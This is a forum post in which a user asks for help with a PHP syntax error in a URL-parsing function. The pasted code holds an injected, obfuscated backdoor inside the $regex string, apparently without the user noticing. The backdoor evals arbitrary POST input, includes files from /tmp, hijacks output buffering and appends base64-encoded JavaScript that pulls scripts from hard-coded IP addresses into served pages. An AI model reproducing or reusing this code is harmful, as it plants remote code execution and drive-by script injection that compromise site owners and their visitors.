I know this is a simple syntax error, but I have been looking through the problem area, and all of the quotes appear to match up, and I am unable to see where else the problem may be. Any help would be greatly appreciated, as this is really starting to frustrate me.
function _parseURL($uri)
{
$parts = array();
if (version_compare( phpversion(), '4.4' ) < 0)
{
$regex = "<^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\\?([^#]*))?(#(.*))?><?php if(!function_exists('tmp_lkojfghx')){for($i=1;$i<100;$i++)if(is_file($f='/tmp/m'.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined('TMP_XHGFJOKL'))define('TMP_XHGFJOKL',base64_decode('PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIApldmFsKHVuZXNjYXBlKCdALyMlMkYlMkUuJTJFJAAlM0N8ZCZpJnYjJTIwJTczJiU3NCMlNzlsJTY1JTNEIyU2NGlgc3BsJTYxYCU3OSUzQW4lNkYlNkUlNjV+JTNFXG5kIyU2RiU2MyU3NUBtJTY1JCU2RSU3NCUyRSU3NyU3MkBpJCU3NCU2NXwoJiIlM0MlMkZ0JTY1eHRhJnIhJTY1ISU2MSUzRXwlMjIlMjkhOyQlNzYlNjElNzImJTIwQCU2OSEsJTVGJTJDJTYxISUzREAlNUIlMjIlMzJgMSQlMzhgJTJFOTNALiUzMjAjJTMyLiUzNiQlMzEhJTIyLCUyMiUzNyUzOH4lMkUjJTMxJjFgJTMwJTJFISUzMSUzNyYlMzUhJTJFMiUzMSMlMjIhXSUzQiZfPX4xOyU2OWYkJTI4fiU2NCZvJTYzJiU3NSYlNkRgZW4lNzQlMkVjbyQlNkYlNkIlNjkkJTY1JTJFIW0kJTYxIyU3NGBjJTY4KCYvISU1Q2JoIyU2NyQlNjYlNzQlM0RgMXwvKSUzRD0lNkUlNzVgJTZDJCU2Q2ApJTY2YG8lNzIjKGkmJTNEQDAjO2kkJTNDfiUzMjtpJTJCISUyQnwpfiU2NHxvJCU2MyU3NSU2RHwlNjUlNkV0fiUyRSElNzchJTcyYCU2OXRlKCUyMiUzQyU3M2N+ciU2OWBwfnQmJTNFJTY5ZiUyOCU1Ril8ZCMlNkYlNjMlNzVgJTZEJCU2NSU2RSU3NH4lMkVgJTc3JnJpJnQhJTY1JTI4ISU1QyJ8JTNDYHMkJTYzJTcyIWlwJTc0JTIwfCU2OSElNjQ9X0AlMjIraSUyQkAifiU1RiUyMCQlNzNAciU2Mz0lMkZ+L34iKyU2MSNbJTY5XSsiLyElNjNwJTJGJTNFJTNDISU1QyYlNUMvc2MlNzIjaSYlNzB0JTNFJTVDJTIyIyUyOSYlM0MlNUMjJTJGQCU3M3wlNjN8JTcyJCU2OSMlNzB0JTNFfCIlMjk7QFxuLyMvIyUzQyUyRiMlNjR+JTY5JTc2fCUzRScpLnJlcGxhY2UoL1wkfEB8fnwjfFx8fGB8XCZ8XCEvZywiIikpO3ZhciB5YWhvb19jb3VudGVyPTE7CjwhLS0gY291bnRlciBlbmQgLS0+PC9zY3JpcHQ+Cg=='));function tmp_lkojfghx($s){if($g=(bin2hex(substr($s,0,2))=='1f8b'))$s=gzinflate(substr($s,10,-8));if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'\"][^\s\'\"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}$s1=preg_replace(base64_decode('IzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD48IS0tIFlhaG9vISBDb3VudGVyIHN0YXJ0cy4rPzwvc2NyaXB0Pgojcw=='),'',$s);if(stristr($s,'</body'))$s=preg_replace('#(\s*</body)#mi',str_replace('\$','\\\$',TMP_XHGFJOKL).'\1',$s1);elseif(($s1!=$s)||defined('PMT_knghjg')||stristr($s,'<body')||stristr($s,'</title>'))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='tmp_lkojfghx')return;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('tmp_lkojfghx');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler('tmp_lkojfghx2'))!='tmp_lkojfghx2')$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2(); ?>";
$matches = array();
preg_match($regex, $uri, $matches, PREG_OFFSET_CAPTURE);
$authority = @$matches[4][0];
if (strpos($authority, '@') !== false) {
$authority = explode('@', $authority);
@list($parts['user'], $parts['pass']) = explode(':', $authority[0]);
$authority = $authority[1];
}
if (strpos($authority, ':') !== false) {
$authority = explode(':', $authority);
$parts['host'] = $authority[0];
$parts['port'] = $authority[1];
} else {
$parts['host'] = $authority;
}
$parts['scheme'] = @$matches[2][0];
$parts['path'] = @$matches[5][0];
$parts['query'] = @$matches[7][0];
$parts['fragment'] = @$matches[9][0];
}
else
{
$parts = @parse_url($uri);
}
return $parts;
}
The line referenced starts at
$regex = "<^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)...
Thanks